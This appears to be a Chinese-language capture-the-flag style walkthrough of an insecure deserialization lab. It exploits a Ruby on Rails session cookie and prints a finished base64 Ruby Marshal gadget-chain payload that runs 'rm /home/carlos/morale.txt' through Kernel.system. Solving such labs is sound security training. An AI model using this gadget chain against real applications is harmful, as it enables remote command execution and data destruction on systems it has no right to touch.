# Insecure deserialization Lab7 本題是基於序列化的會話機制和 Ruby on Rails 框架,在此框架中,有記錄在案的漏洞利用可以通過小工具鏈遠端執行代碼。 要解決該實驗室問題,請找到一個記錄在案的漏洞並對其進行調整,以創建包含遠端代碼執行有效負載的惡意序列化物件。然後將此對象傳遞到網站中,以從 Carlos 的主目錄中刪除該檔 morale.txt。 一樣先進入網站並登入看 Cookie。 ![image](https://hackmd.io/_uploads/Hy1qSisPee.png) 觀察 Cookie 一樣是 b64 編碼。 ![image](https://hackmd.io/_uploads/HyXnrssPxl.png) 解碼後是 Ruby marshaled object(Ruby 的內建序列化格式),在題目的 Hint 中可以發現題目要我們去網路上找 "ruby deserialization gadget chain"。 ![image](https://hackmd.io/_uploads/H1Qv8osvxl.png) 而在第一個網頁中可以發現這個作者在嘗試建立一個 ruby 漏洞來找出一個 Web 中的所有 id。 ![image](https://hackmd.io/_uploads/HJMVPosvxl.png) 這裡我們使用他的方法並將預設的 command 改成我們自己的目標 ID(這裡最後一行是為了讓輸出變成 b64 編碼)。 ![image](https://hackmd.io/_uploads/BkgXujowel.png) 但直接在線上跑這串的話會直接報錯,因為版本不支援,所以我們直接去 Kail 裡面自己架一個 2.7 版本的 ruby 跑剛剛的東西。 ![image](https://hackmd.io/_uploads/HyRC0ssweg.png) ``` BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ== ``` ![image](https://hackmd.io/_uploads/SJzqlnowxx.png) ---